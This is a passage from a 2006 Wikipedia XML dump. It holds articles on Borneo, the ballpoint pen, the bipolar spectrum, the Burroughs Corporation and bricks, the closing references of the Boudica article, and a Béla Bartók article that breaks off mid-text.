#{{note|McDonald}} [http://www.daire.org/fanlistings/mcdonald/destiny.html ''Stone of Destiny'' lyrics from Official Steve McDonald Fanlisting]
#{{note|Libertines}} [http://www.seeklyrics.com/lyrics/The-Libertines/The-Good-Old-Days.html The Libertines, &quot;The Good Old Days&quot; lyrics]
#{{note|Bal}} [http://balsagoth-lyrics.wonderlyrics.com/Blood-Slakes-The-Sand-At-The-Circus-Maximus.html Bal-Sagoth, &quot;Blood Slakes the Sand at the Circus Maximus&quot; lyrics], [http://balsagoth-lyrics.wonderlyrics.com/When-Rides-The-Scion-Of-The-Storms.html &quot;When Rides the Scion of the Storms lyrics]
#{{note|ghost}} Dan Asfar, ''Haunted Highways:  Ghost Stories and Strange Tales'', 2003
#{{note|gene}} Copeland CS, Brindley PJ, Heyers O, Michael SF, Johnston DA, Williams DL, Ivens AC, Kalinna BH, &quot;''Boudicca'', a retrovirus-like long terminal repeat retrotransposon from the genome of the human blood fluke ''Schistosoma mansoni''&quot;. ''Journal of Virology'' 2003 Jun;77(11):6153-66; Copeland CS, Heyers O, Kalinna BH, Bachmair A, Stadler PF, Hofacker IL, Brindley PJ,  &quot;Structural and evolutionary analysis of the transcribed sequence of ''Boudicca'', a ''Schistosoma mansoni'' retrotransposon&quot;. ''Gene'' 2004;329:103-114.
#{{note|FaithAndTheMuse}} [http://www.mercyground.com/disc/burningseason.html#Boudiccea ''Boudiccea'' lyrics from the Faith and the Muse Site]

==Further reading==
*Vanessa Collingridge; ''Boudica'', Ebury, London, 2004
*Richard Hingley &amp; Christina Unwin, ''Boudica: Iron age Warrior Queen'', 2004

==External links==
*[http://knowledgeoflondon.com/boudica.html/ 'Knowledge of London - Queen Boudica Story']
*[http://penelope.uchicago.edu/~grout/encyclopaedia_romana/britannia/boudica/boudicanrevolt.html James Grout: ''Boudica'', part of the Encyclopædia Romana]
*[http://news.bbc.co.uk/1/hi/magazine/3539652.stm Trying to Rule Britannia]; BBC; [[6 August]] [[2004]]
*[http://www.roman-britain.org/tribes/iceni.htm Iceni] at [http://www.roman-britain.org Roman-Britain.org]
*[http://www.romans-in-britain.org.uk/clb_tribe_iceni.htm Iceni] at [http://www.romans-in-britain.org.uk/ Romans in Britain]
*[http://www.findagrave.com/cgi-bin/fg.cgi?page=gr&amp;GRid=6497 Find-A-Grave profile for Boudica]

[[Category:61 deaths]]
[[Category:Ancient Roman enemies and allies]]
[[Category:Ancient Britons]]
[[Category:Roman Britain]]
[[Category:Women in war]]
[[Category:British women]]

[[ca:Budicca]]
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  </page>
  <page>
    <title>Borneo</title>
    <id>4518</id>
    <revision>
      <id>42043895</id>
      <timestamp>2006-03-03T12:10:52Z</timestamp>
      <contributor>
        <username>KnightRider</username>
        <id>430793</id>
      </contributor>
      <minor />
      <comment>warnfile  Modifying: es</comment>
      <text xml:space="preserve">[[Image:Borneo,Sulawesi(Celebes).jpg|thumb|right|300px|Borneo and [[Sulawesi]].]]
'''Borneo''' (politically divided between [[Indonesia]], [[Malaysia]] and [[Brunei]]) is the [[List of islands by size|third largest island in the world]]. It has an area of 743,330 km² (287,000 mi²), and is located at the centre of the [[Malay archipelago]] and [[Indonesia]].  Borneo is considered part of the geographic region of [[Southeast Asia]]. 

==Geography==
Borneo is surrounded by the [[South China Sea]] to the north and northwest, the [[Sulu Sea]] to the northeast, the [[Celebes Sea]] and the [[Makassar Strait]] to the east, and the [[Java Sea]] and [[Karimata Strait]] to the south.

[[Image:Borneo-VE.JPG|thumb|Satellite photo of Borneo.]]To the west of Borneo are the [[Malay Peninsula]] and [[Sumatra]].  To the south is [[Java (island)|Java]].  To the east is the island of [[Sulawesi|Sulawesi (Celebes)]]. To the northeast is the [[Philippines]].

Borneo's highest point is [[Mount Kinabalu]] in [[Sabah]], [[Malaysia]], with an elevation of 4,095 m above [[sea level]].

==Administration==
[[Image:Borneo2 map english names.PNG|thumb|Map of Borneo]]
Borneo is divided politically into:

* The [[Indonesia|Indonesian]] [[Provinces of Indonesia|provinces]] of [[East Kalimantan|East]], [[South Kalimantan|South]], [[West Kalimantan|West]] and [[Central Kalimantan|Central]] [[Kalimantan]].
* The [[Malaysia|Malaysian]] states of [[Sabah]] and [[Sarawak]].
* The independent sultanate of [[Brunei|Brunei Darussalam]] in two parts.

==History==
The whole Borneo was controlled by Brunei Empire during its golden age from the 15th to 17th centuries.

Borneo was the main site of the [[Indonesia-Malaysia confrontation|confrontation]] between [[Indonesia]] and [[Malaysia]] between 1962 and 1966.

==Natural resources==

The island historically had extensive [[rainforest]] cover, but the area is shrinking rapidly due to heavy [[logging]] for the needs of the Malaysian [[plywood]] industry and also multinational companies such as [[Mitsubishi]] take their share. One half of the annual [[tropical timber]] acquisition of the whole world comes from Borneo. Furthermore, palm plantations are rapidly encroaching on the last remnants of primary rainforest. The rainforest was also greatly destroyed due to the forest fires in 1997 to 1998 which were started by people and coincided with an exceptional drought season of [[El Niño]]. During the great fire, hotspots could be seen on satellite images and a [[haze]] was created that affected [[Brunei]], [[Malaysia]], [[Indonesia]] and [[Singapore]]. The remaining Borneo rainforest is the only natural habitat for the endangered Bornean [[orangutan]]. It is also an important refuge for many [[endemic (ecology)|endemic]] forest species, and the [[Asian Elephant]], the [[Sumatran Rhinoceros]] and the [[Clouded Leopard]].[[Image:Dawn in Borneo.jpg|thumb|left|[[Dawn]] in Borneo]]

In order to combat overpopulation in [[Java (island)|Java]], the Indonesian government started a massive migration of poor farmers to Borneo, called [[transmigrasi]] to farm the logged areas, albeit with little success as the fertility of the land has been removed with the trees and what soil remains is washed away in tropical downpours.

Indigenous people (e.g. [[Kayan]], [[Kenyah]], [[Punan Bah]] and [[Penan]]) living on the island have been fighting for decades for their rights to preserve their environment against loggers and transmigrasi settlers.

The type of rainforests found in Borneo include rare [[peat swamp forest]]s and [[heath forest]].

==References==
*Gudgeon, L. W. W. 1913. ''British North Borneo''. Adam and Charles Black, London. (An early well-illustrated book on &quot;British North Borneo&quot;, now known as [[Sabah]].)

==See also==
* [[Islands of Indonesia]]
* [[Hikayat Banjar]]

==External links==
*[http://www.insightnewstv.com/d54 Borneo: Eco Warriors] - Online documentary

[[Category:Islands]]
[[Category:Islands of Indonesia]]
[[Category:Geography of Malaysia]]

[[bg:Борнео]]
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[[zh:婆罗洲]]</text>
    </revision>
  </page>
  <page>
    <title>Ballpoint pen</title>
    <id>4519</id>
    <revision>
      <id>41378624</id>
      <timestamp>2006-02-26T23:16:35Z</timestamp>
      <contributor>
        <username>Joy</username>
        <id>20318</id>
      </contributor>
      <minor />
      <comment>/* History */ chronological sorting</comment>
      <text xml:space="preserve">[[Image:Pen.jpg|frame|A papermate PhD Multi ballpoint pen]]


A '''ballpoint pen''', in many countries also [[eponym]]ously called a '''biro''', is a [[writing]] instrument, more specifically a [[pen]], similar to a [[pencil]] in size and shape. 
The pens have an internal chamber filled with a [[viscosity|viscous]] [[ink]] that is dispensed at the tip during use by the rolling action of a small metal sphere (0.7 mm to 1 mm in diameter); the ink dries almost immediately after contact with [[paper]]. 
Inexpensive, reliable and maintenance-free, they have almost completely replaced the [[fountain pen]].

== History ==
The modern ball point pen was invented in [[1938]] by the [[Hungary|Hungarian]] [[journalist]] [[Laszlo Biro]], who noticed that the ink used in [[newspaper]] printing dried quickly, leaving the paper dry and smudge-free.
He tried using the same ink in a fountain pen but found that it would not flow into the nib, as it was too viscous.

Working with his brother Georg, a [[chemistry|chemist]], Laszlo Biro developed a new tip consisting of a ball that was free to turn in a socket, and as it turned it would pick up ink from a [[cartridge]] and then roll to deposit it on the paper.

It has been argued that a design by [[Galileo Galilei|Galileo]] (during the [[17th century]]), was that of a ballpoint pen. 
A [[patent]] dated [[1888]] on the same basic idea, was unused and expired. [[Slavoljub Eduard Penkala]] had invented a solid-ink fountain pen in [[1907]]. These earlier pens leaked or clogged due to improper viscosity of the ink and depended on gravity to deliver the ink to the ball.  Depending on gravity caused difficulties with the flow and required that the pen be held nearly vertically.  The Biro pen used capillary action for ink delivery, solving the flow problems.

In [[1943]] the Biro brothers moved to [[Argentina]] and on [[June 10]] filed another patent, and formed ''Biro Pens of Argentina''.
The pen was sold in Argentina under the '''Birome''' brand, which is the way ballpoint pens are still called in Argentina. Laszlo was known in Argentina as Lisandro José Biro.
This new design was licensed by the [[United Kingdom|British]], who produced ball point pens for [[Royal Air Force|RAF]] aircrew, who found they worked much better than fountain pens at high altitude.

''Eversharp'', a maker of [[mechanical pencil]]s teamed up with Eberhard-Faber in May [[1945]] to license the design for sales in the [[United States]]. At about the same time a US businessman saw a Biro pen in a store in [[Buenos Aires]].
He purchased several samples and returned to the U.S. to found the ''Reynolds International Pen Company'', producing the Biro design without license as the ''Reynolds Rocket''. He managed to beat Eversharp to market in late [[1945]]; the first ballpoint pens went on sale at [[Gimbel's Department Store]] in [[New York City]] on [[October 29]], [[1945]]  for US$12.50 each (about USD$130 of today's money). This pen was widely known as ''the rocket'' in the U.S. into the late [[1950s]].

Similar pens went on sale before the end of the year in England, and by the next year in most of Europe. Cheap disposable instruments were produced by the [[BIC Corporation]] with &quot;Bic&quot; as the tradename; as with '[[The Hoover Company|Hoover]]' and '[[Xerox]]', the tradename has subsequently passed into general use.

Since [[1990]] Biro's birthday the 28th of September is [[Inventor's Day]] in Argentina.

== Description ==
[[Image:Ballpoint_of_common_ballpoint_pen.jpg|right|frame|The tip of a common disposable ballpoint pen. The ball, with dark ink on it, can be seen.]]There are two basic types of ball point pen: disposable and refillable.

'''Disposable pens''' are chiefly made of [[plastic]] throughout and discarded when the ink is consumed; '''refillable''' pens are [[metal]] or plastic and tend to be higher in quality and price. The refill tends to replace the entire internal ink reservoir and ball point unit rather than actually refilling it with ink.

The simplest types of ball point pens have a cap to cover the tip when the pen is not in use, while others have a mechanism for retracting the tip. This is usually controlled by a [[button]] at the bottom and powered by a [[spring (device)|spring]] within the pen apparatus, but other possibilities include a pair of buttons, a [[screw]], or a slide.

Early pens were notorious for leaking, giving rise to the '[[pocket protector]]', but changes to the composition of the ink have largely made this a thing of the past. Modern ink is generally more viscous, but contains additives which cause it to thin out under pressure. As the pen is pushed against the paper, the ball causes the ink pressure to rise slightly, and thus thin out; as the pen is lifted, the pressure drops, and the ink thickens again.

The most recent developments in the technology include:
*Multi-color pens, with multiple ink refills and ballpoints which are switchable at will. One of the most common types is a four-color pen with the colors [[Black#Color_or_light|black]], [[red]], [[blue]], and [[green]].  This type of pen was first introduced by [[BIC Corporation|Bic]] in the [[1970s]];
*[[Rollerball pen]]s, which combine the ballpoint design with the use of liquid ink and flow systems from fountain pens;
*&quot;[[Space Pen]]s&quot;, developed by Fisher in the United States, which combine a more viscous than normal ballpoint pen ink with a gas pressurized piston which forces the ink toward the point. This design allows the pen to write even upside down or in zero gravity environments.

==Ballpoint pens in everyday life==
[[Image:Ballpoint pen marks closeup.jpg|thumb|left|Close-up of black ballpoint pen marks on paper.]]
[[Image:Ballpoint-pen-parts.jpg|right|thumb|Parts of a ballpoint pen]]
Ballpoint pens are ubiquitous in modern [[culture]]. While other forms of pen are available, ballpoint pens are certainly the most common and almost every [[household]] is likely to have several dozen. The fact that they are so cheaply available (costing from just a few cents/pence to produce) and so convenient to use means they are often to be found on desks and also in pockets, handbags, purses, bags and in [[automobile|car]]s&amp;mdash;almost anywhere where one could conceivably need to use a pen. Ballpoint pens are often provided free by businesses as a form of [[advertising]]&amp;mdash;printed with a company's name, a ballpoint pen is a low cost advertisement that is highly effective (customers will use, and therefore see, a pen on a daily basis). Businesses and charities may also include ballpoint pens in [[direct mail]] mailings in order to increase a customer's interest in the mailing.

In recent years, the ballpoint pen has become a popular art medium, as demonstrated by such websites as [http://www.biro-art.com biro-art.com]

== The Grip and Feel of a Ballpoint Pen ==

Ballpoint pens have three characteristics that distinguish them from rollerball systems. First, the ink flow increases with pressure. A rollerball will typically lay down its line without pressure.

Second, they write with the greatest ink flow when perpendicular to the paper, but as the angle is increased the line width gradually decreases; at some angle, when the edge of the ball socket brushes against the surface of the paper, the line width is reduced to zero and the pen ceases to write. (By way of contrast, a rollerball pen has a thin line when perpendicular to the paper, but the line width increases suddenly as the angle is increased and a blob forms between the tip of the ball and the edge of the socket.)

Third, a ballpoint pen's ink is typically not as bright on paper as its liquid or gel ink counterparts.

These characteristics have consequences for the grip with which the pen is held. First, one tends to bear down on a ballpoint to get a stonger line, and this increases tension in the hand. (One way of getting a stronger line, comparable in intensity to a rollerball line, is to use a broad line ballpoint, with a 1.2mm diameter, or greater, ball size. Most ballpoints have a thin or medium ball.)

Second, one has to hold the pen sufficiently vertically for it to roll across the paper and not to scratch. Most people nowadays are so accustomed to writing nearly perpendicularly that they do not realize that there are other, possibly better, ways to hold a pen.

There are two kinds of pens that can write at greater angles than ballpoint pens: [[fountain pen|fountain pens]] and [[felt-tipped pen|felt-tipped pens]]. Both of these types of pen also write with less pressure and therefore with less tension in the hand.

==Trivia==
*The [[Al Faisaliyah Center|Al Faisalia skyscraper]] in [[Riyadh]], [[Saudi Arabia]], takes the shape of a ballpoint pen.
*The ballpoint pen drawing [http://www.biro-art.com/inhumanpyramid.html 'Inhuman Pyramid'] is two meters tall, one and a half meters wide, used up six ballpoint pens and took seven months to complete.

==External links==
*[http://www.biro-art.com Biro Art - Doodles with a ball point pen].
*[http://www.ideafinder.com/history/inventions/story055.htm A history of the ballpoint pen].

[[Category:Writing instruments]]
[[Category:Hungarian culture]]

{{Link FA|eo}}

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    <title>Bubble sort/C</title>
    <id>4521</id>
    <revision>
      <id>15902786</id>
      <timestamp>2002-02-25T15:51:15Z</timestamp>
      <contributor>
        <username>Damian Yerrick</username>
        <id>1</id>
      </contributor>
      <comment>Change see-also into redirect to get it off the orphan radar</comment>
      <text xml:space="preserve">#REDIRECT [[Bubble sort]]</text>
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  </page>
  <page>
    <title>Bipolar spectrum</title>
    <id>4523</id>
    <revision>
      <id>36987997</id>
      <timestamp>2006-01-27T20:31:47Z</timestamp>
      <contributor>
        <username>Silvestre Zabala</username>
        <id>225488</id>
      </contributor>
      <minor />
      <comment>[[:en:Wikipedia:Tools/Navigation_popups|Popups]]-assisted disambiguation from [[euthymia]] to [[Euthymia (medicine)]]</comment>
      <text xml:space="preserve">The '''bipolar spectrum''' is the continuous range of [[clinical depression|depressive]] diseases, ranging from [[bipolar disorder]] to [[unipolar depression]].

A simple nomenclature system was introduced in 1978, although there are others, by Angst, J., et al, to easier label individuals' affectedness within the spectrum, following a clinical study by the Psychiatric University Clinic of Zurich.

Points on the spectrum using this nomenclature are denoted using the following codes:
* 'M' severe [[mania]]
* 'D' severe depression ([[major depression|unipolar depression]])
* 'm' less severe mania ([[hypomania]])
* 'd' less severe depression

Thus, 'mD' represents a case with hypomania and major depression.
A further distinction is sometimes made in the ordering of the letters, to represent the order of the episodes, where the patient's normal state is [[Euthymia (medicine)|euthymic]], interrupted by episodes of mania followed by depression ('MD') or vice versa ('DM').

On this scale, major depression would be denoted as 'D'. Unipolar mania ('M') is, depending on the authority cited, either very rare,  or nonexistent with such cases actually being 'Md'.

Unipolar hypomania ('m') without accompanying depression is not observed in the medical literature. There is speculation as to whether some high-achieving individuals are actually 'm', with their successful social functioning keeping them out of sight of the mental health profession.

Although it is officially considered a [[personality disorder]] rather than an [[affective spectrum|affective]]/[[mood disorder]], some experts advocate adding [[borderline personality disorder]] (BPD) to the bipolar spectrum. BPD has a lot of similarities to rapid-cycling bipolar type II and other depressive disorders, and many patients show a positive response to the same types of [[medication]].

==References==
Angst J, Felder W, Frey R, Stassen HH. ''Arch Psychiatr Nervenkr''. 1978 Oct 9;226(1):57-64. The course of affective disorders. I. Change of diagnosis of monopolar, unipolar, and bipolar illness. (PMID 708227)

[[Category:Mood disorders]]</text>
    </revision>
  </page>
  <page>
    <title>Burroughs</title>
    <id>4524</id>
    <revision>
      <id>38879827</id>
      <timestamp>2006-02-09T05:35:13Z</timestamp>
      <contributor>
        <ip>66.130.194.169</ip>
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      <text xml:space="preserve">''This article is about the Burroughs Corporation. Other famous people with the surname of Burroughs include:''
:*[[William Seward Burroughs]] (1857-1898), US inventor&lt;br&gt;
:*[[Augusten Burroughs]] (b. [[1965]]), American writer&lt;br&gt;
:*[[William S. Burroughs]] (1914-1997), author and grandson of William Seward Burroughs&lt;br&gt;
:*[[William S. Burroughs Jr.]] (1947-1981), author, son of William S. Burroughs, and great grandson of William Seward Burroughs.&lt;br&gt;
:*[[Edgar Rice Burroughs]] (1875-1950), American author of [[Tarzan]] fame
----

The '''Burroughs Corporation''' began in [[1886]] as the '''American Arithmometer Company''' in [[St. Louis]] selling an [[adding machine]] invented by [[William Seward Burroughs]].

[[Image:wsbaddingmachine.jpg|right|thumb|140px|A Burroughs Class 1/Model 9 adding machine.]]
The company moved to [[Detroit]] in [[1904]] and changed its name to the Burroughs Adding Machine Company, in honor of Burroughs, who died in [[1898]]. Burroughs grew into the biggest adding machine company in America, although by the [[1950s]] it was selling more than the basic adding machines, including typewriters and computers.

In [[1953]] the Burroughs Adding Machine Company was renamed the Burroughs Corporation and began moving into computer products, initially for banking institutions.  This move began with the purchase in June, 1956, of The ElectroData Corporation in Pasadena, California. It had originally been a division Consolidated Electrodynamics Corporation, and spun off. ElectroData had built the Datatron 205 and was working on the Datatron 220. The first major computer product that came from this marriage was the B205 Tube computer.

The Burroughs Corporation developed three highly innovative [[computer architecture|architectures]]. All three architectures were considered &quot;main-frame&quot; class machines:

* The &quot;Burroughs large systems&quot; machines starting with the [[Burroughs B5000|B5000]] in [[1961]] were [[stack machine]]s designed to be programmed in an extended [[Algol 60]]. Their [[operating system]]s, called MCP ([[Master Control Program]] - the name later borrowed by the screenwriters for [[Tron (film)|Tron]]), were programmed in [[ESPOL]] (Executive Systems Programming Oriented Language, a minor extension of Algol) almost a decade before [[Unix]], and the command interface developed into a compiled [[Structured programming|structured language]] with procedures called WFL ([[Work Flow Language]]).
* Burroughs produced the [[B2000]] or &quot;medium systems&quot; computers aimed primarily at the business world. The machines were architected to execute [[COBOL]] efficiently.  This included a BCD [[Binary Coded Decimal]] based arithmetic unit, storing and addressing the main memory using Base 10 numbering instead of binary.
* Burroughs produced the [[Burroughs B1700|B1700]]  or &quot;small Systems&quot; that were designed to be microprogrammed, with each process potentially getting its own [[virtual machine]] designed to be the best match to the [[programming language]] chosen for the application being run.

Burroughs Corporation was always a distant second to [[International Business Machines|IBM]] commercially if not technologically.  At the same time, Burroughs was very much a competitor and just like IBM, Burroughs tried to supply a complete answer for its customers. This included providing Burroughs-designed Printers, Disk Drives, Tape Drives, etc., and even computer paper.

Burroughs was one of the eight major [[computer]] companies (with [[IBM]] - the largest, [[Honeywell]], [[NCR Corporation]], [[Control Data Corporation]], [[General Electric]], [[RCA]] and [[UNIVAC]]) through most of the [[1960s]].  IBM's share of the market at the time was so much larger than all of the others, that this group was often sarcastically referred to as &quot;IBM and the Seven Dwarfs.&quot; 

Later, this group became known as the [[BUNCH]] - ([[Burroughs]], [[UNIVAC]], [[NCR Corporation]], [[Control Data Corporation]], and [[Honeywell]])

In September [[1986]], Burroughs Corporation merged with [[Sperry Corporation]] to form [[Unisys Corporation]].

==External links==
* [http://www.cbi.umn.edu/collections/inv/burros/cbi00090-036.html Burroughs Corporation Records: ElectroData Division Records, 1952-1979 at the Charles Babbage Institute]


[[Category:Defunct computer companies of the United States]]

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    <title>Bill Haley and the Comets</title>
    <id>4525</id>
    <revision>
      <id>15902790</id>
      <timestamp>2003-01-17T05:43:16Z</timestamp>
      <contributor>
        <username>Ellmist</username>
        <id>2214</id>
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      <comment>#REDIRECT [[Bill_Haley_&amp;_His_Comets]]</comment>
      <text xml:space="preserve">#REDIRECT [[Bill_Haley_&amp;_His_Comets]]</text>
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  <page>
    <title>Brick</title>
    <id>4526</id>
    <revision>
      <id>41563540</id>
      <timestamp>2006-02-28T04:20:47Z</timestamp>
      <contributor>
        <username>Meggar</username>
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      <comment>rev to last by 61.2.212.226</comment>
      <text xml:space="preserve">:''This page is about '''bricks''' used for construction. For other types of brick please see [[Brick (disambiguation)]].''

[[Image:BrickWall.jpg|thumb|A weathered brick wall.]]
A '''brick''' is a [[ceramic]] block made of [[kiln]]-fired material, usually [[clay]] or ground [[shale]]. Clay bricks are formed in a mould (the soft mud method), or more frequently in commercial mass production by extruding clay through a [[Die (manufacturing)|die]] and then wire-cutting them to the proper size (the stiff mud process). Brick made from dampened clay must be formed in molds with a great deal of pressure, usually applied by a [[Hydraulics|hydraulic]] press. These bricks are known as hydraulic-pressed bricks, and have a dense surface which makes them highly resistant to [[weathering]], and thus suitable for facing work. The shaped [[clay]] is then dried and fired to achieve the final, desired strength. In modern brickworks, this is usually  done in a continuously fired kiln, in which the bricks move slowly through the kiln on conveyors, rails, or kiln cars to achieve consistent physical characteristics for all bricks.  Bricks are also known in the building trades as compressed earth blocks or CEBs.

==History==
[[Image:Shebli2.jpg|right|thumb|The brickwork of [[Shebeli Tower]] displays 12th century craftsmanship.]]
[[Image:Roskilde domkirke west fassade.jpg|thumb|West face of Roskilde Cathedral in Roskilde, Denmark]]
In the [[Near East]] and [[India]], bricks have been in use for more than five thousand years. The [[Tigris]]-[[Euphrates]] plain lacks [[rock (geology)|rock]]s and [[tree]]s. [[Sumerian architecture|Sumerian]] structures were thus built of plano-convex [[mudbrick]]s, not fixed with [[Mortar (masonry)|mortar]] or with [[cement]]. As plano-convex bricks (being rounded) are somewhat unstable in behaviour, Sumerian bricklayers would lay a row of bricks perpendicular to the rest every few rows. They would fill the gaps with [[bitumen]], [[straw]], [[reed (plant)|marsh reeds]], and [[weed]]s.

The [[Ancient Egypt]]ians and the [[Indus Valley Civilization]] also used mudbrick extensively, as can be seen in the ruins of [[Buhen]], [[Mohenjo-daro]] and [[Harappa]], for example. In the [[Indus Valley Civilization]] particularly, all bricks corresponded to sizes in a perfect [[ratio]] of 4:2:1, and made use of the [[decimal system]]. The ratio for brick dimensions 4:2:1 is even today considered optimal for effective bonding.

The [[Ancient Rome|Romans]] made use of fired bricks, and the Roman [[legion]]s, which operated mobile kilns, introduced bricks to many parts of the empire. Roman bricks are often stamped with the mark of the legion that supervised its production. The use of bricks in Southern and Western [[Germany]], for example, can be traced back to traditions already described by the Roman architect [[Vitruvius]].

In the [[12th century]], bricks from Northern [[Italy]] were re-introduced to Northern Germany, where an independent tradition evolved. It culminated in the so-called [[brick Gothic]], a reduced style of [[Gothic architecture]] that flourished in [[Northern Europe]], especially in the regions around the [[Baltic Sea]] which are without natural rock resources. Brick Gothic buildings, which are built almost exclusively of bricks, are to be found in [[Denmark]], [[Germany]], [[Poland]] and [[Russia]]. However, bricks were long considered an inferior substitute for natural rock.

During the [[Renaissance]] and the [[Baroque]], visible brick walls were unpopular and the [[brickwork]] was often covered with [[plaster]]. It was only during the mid-[[18th century]] that visible brick walls regained some degree of popularity, as illustrated by the [[Dutch Quarter]] of [[Potsdam]], for example.

==Construction and types==
[[Image:BrickMakingTurnOfTheCentury.jpg|thumb|left|Brick making at the beginning of the [[20th century]].]]

Hard-burned brick should be used for face work exposed to the weather, and soft brick for filling, [[foundation (architecture)|foundations]], and the like.  The mainstay standard US brick measures approximately 8 x 4 x 2.25 [[inch]]es (203 x 102 x 57 [[millimetre|millimeter]]s), and has a crushing strength of between 1000 and 3000 lbf/in&amp;sup2; (7 to 21 [[megapascal]]s) depending on quality. The modern standard [[UK]] brick size is 215 x 102.5 x 65 millimetres. 

A highly impervious and ornamental surface may be laid on brick either by [[salt glaze pottery|salt glazing]], in which salt is added during the burning process, or by the use of a &quot;slip,&quot; which is a glaze material into which the bricks are dipped. Subsequent reheating in the kiln fuses the slip into a glazed surface integral with the brick base.
 
===Proportions===
Regardless of size, bricks are usually manufactured with the depth equal to half the length (assuming that the brick is laid horizontally). This allows for several convenient layouts which must necessarily interweave the bricks in any structure, often both at the corners and within the wall depth in order to ensure the greatest possible durability of the structure.

==Use==

[[Image:Dixie_Highway_Maitland.jpg|thumb|200px|right|A brick section of the old [[Dixie Highway]] East Florida Connector ([[Pre-1945 Florida State Road 3|SR 3]]) on the west side of [[Lake Lily]] in [[Maitland, Florida]]. It was built in [[1915]] or [[1916]], paved over at some point, and restored in [[1999]].]]

Bricks are typically used for building. In the USA at one time, it was popular to [[pavement (material)|pave]] roads with bricks, but they were found incapable of withstanding heavy traffic. Brick paving is again coming back into use as a method of [[traffic calming]] or as a decorative surface in  [[pedestrianized zone|pedestrian precincts]].

Bricks are also used in the [[metallurgy]] and [[glass]] industries for lining [[furnace]]s. They have various uses, especially [[refractory]] bricks such as [[silica]], [[magnesia]], [[chamotte]] and neutral ([[chromomagnesite]]) [[fire brick|refractory bricks]]. This type of brick must have a series of properties such as good [[thermal shock]] resistance, [[refractory|refractoriness]] under load, high melting point, satisfactory [[porosity]] (which can influence several other properties), all of which are high-temperature properties. There is a large refractory brick industry, especially in the [[United Kingdom]], [[Japan]] and the [[U.S.A.]]

&lt;br clear=&quot;all&quot;/&gt;

==See also==
{{commons|Bricks}}
*[[Masonry]]
*[[Brickwork]]
*[[Ceramic]]s
*[[Fire brick]]
*[[Mud brick]]


[[Category:Construction]]
[[Category:Materials]]
[[Category:Building engineering]]
[[Category:Bricks]]

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  <page>
    <title>Béla Bartók</title>
    <id>4527</id>
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      <id>42108722</id>
      <timestamp>2006-03-03T21:58:07Z</timestamp>
      <contributor>
        <username>Rich Farmbrough</username>
        <id>82835</id>
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      <minor />
      <comment>Header - references plural</comment>
      <text xml:space="preserve">[[Image:Bartók Béla 1927.jpg|thumb|right|300px|Béla Bartók in 1927]]
'''Béla Viktor János Bartók''' ([[March 25]], [[1881]] &amp;ndash; [[September 26]], [[1945]]) was a [[Hungarian]] [[composer]], [[pianist]] and collector of Eastern [[Europe]]an and [[Middle East]]ern [[folk music]]. Bartók is usually considered one of the greatest composers of the 20th century. He was one of the founders of the field of [[ethnomusicology]], the study of folk music and the music of non-Western cultures.

==Childhood and early years==

Bartók grew up in the [[Kingdom of Hungary|Greater Hungary]] of the Austro-Hungarian Empire which was partitioned by the Treaty of Trianon after World War I. His birthplace, Nagyszentmiklós (Great St Nicholas), became [[Sânnicolau Mare]], [[Romania]]. After his father died in [[1888]], Béla's mother, Paula, took her family to live in Nagyszőlős (today [[Vinogradiv]], [[Ukraine]]), and then to Pozsony (today [[Bratislava]], [[Slovakia]]). When [[Czechoslovakia]] was created in [[1918]] Béla and his mother found themselves on opposite sides of the border.

==Early musical career==

He later studied [[piano]] under [[István Thoman]] and composition under [[János Koessler]] at the [[Franz Liszt Academy of Music|Royal Academy of Music in Budapest]]. There he met [[Zoltán Kodály]] and together they collected folk music from the region. This was to have a major impact on his style. Previously, Bartók's idea of Hungarian folk music was derived from the gypsy melodies to be found in the works of [[Franz Liszt]], and in [[1903]] Bartók had written a large [[orchestra]]l work, ''Kossuth,'' which honored [[Lajos Kossuth]], hero of the Hungarian revolution of [[1848]], incorporated such gypsy melodies. 

==Emergence and influences on Bartók's music==

Upon discovering [[Magyars|Magyar]] peasant folk song (which he regarded as true Hungarian folk music, as opposed to the gypsy music used by Liszt) Bartók began to incorporate folk songs into his own compositions and write original folk-like tunes, as well as frequently using folksy rhythmic figures.

It was the music of [[Richard Strauss]], whom he met at the [[Budapest]] premiere of ''[[Also sprach Zarathustra]]'' in [[1902]], that had most influence. This new style emerged over the next few years. Bartók was building a career for himself as a pianist, when in [[1907]], he landed a job as piano professor at the Royal Academy. This allowed him to stay in [[Hungary]] rather than having to tour Europe as a pianist, and also allowed him to collect more folk songs, notably in [[Transylvania]]. Meanwhile his music was beginning to be influenced by this activity and by the music of [[Claude Debussy]] that Kodály had brought back from Paris. His large scale orchestral works were still in the manner of [[Johannes Brahms]] or Richard Strauss, but he wrote a number of small piano pieces which show his growing interest in folk music. Probably the first piece to show clear signs of this new interest is the [[String Quartet No. 1 (Bartók)|String Quartet No. 1]] ([[1908]]), which has several folk-like elements in it.

==Middle years and career==

In [[1909]], Bartók married [[Márta Ziegler]]. Their son, Béla Jr., was born in [[1910]].

In [[1911]], Bartók wrote what was to be his only [[opera]], ''[[Bluebeard's Castle]]'', dedicated to his wife, Márta. He entered it for a prize awarded by the Hungarian Fine Arts Commission, but they said it was unplayable, and rejected it out of hand. The opera remained unperformed until 1918, when Bartók was pressured by the government to remove the name of the librettist, [[Béla Balázs]], from the program on account of his political views. Bartók refused, and eventually withdrew the work. For the remainder of his life, Bartók did not feel greatly attached to the government or institutions of Hungary, although his love affair with its folk music continued.

After his disappointment over the Fine Arts Commission prize, Bartók wrote very little for two or three years, preferring to concentrate on folk music collecting and arranging (in Central Europe, the Balkans, [[Music of Algeria|Algeria]], and Turkey). However, the outbreak of [[World War I]] forced him to stop these expeditions, and he returned to composing, writing the [[ballet (music)|ballet]] ''The Wooden Prince'' in [[1914]]&amp;ndash;[[1916|16]] and the [[String Quartet No. 2 (Bartók)|String Quartet No. 2]] in [[1915]]&amp;ndash;[[1917|17]]. It was ''The Wooden Prince'' which gave him some degree of international fame.

Bartók subsequently worked on another ballet, ''The Miraculous Mandarin,'' influenced by [[Igor Stravinsky]], [[Arnold Schoenberg]], as well as Richard Strauss, following this up with his two [[violin sonata]]s which are harmonically and structurally some of the most complex pieces he wrote. He wrote his [[String Quartet No. 3 (Bartók)|third]] and [[String Quartet No. 4 (Bartók)|fourth]] [[string quartet]]s, regarded as some of the finest string quartets ever written, in [[1927]]&amp;ndash;[[1928|28]], after which his harmonic language began to become simpler. The [[String Quartet No. 5 (Bartók)|String Quartet No. 5]] ([[1934]]) is somewhat more traditional from this point of view. Bartók wrote his [[String Quartet No. 6 (Bartók)|sixth]] and last string quartet in [[1939]]. 

''The Miraculous Mandarin'' was started in [[1918]], but not performed until [[1926]] because of its sexual content, a sordid modern story of prostitution, robbery, and murder.

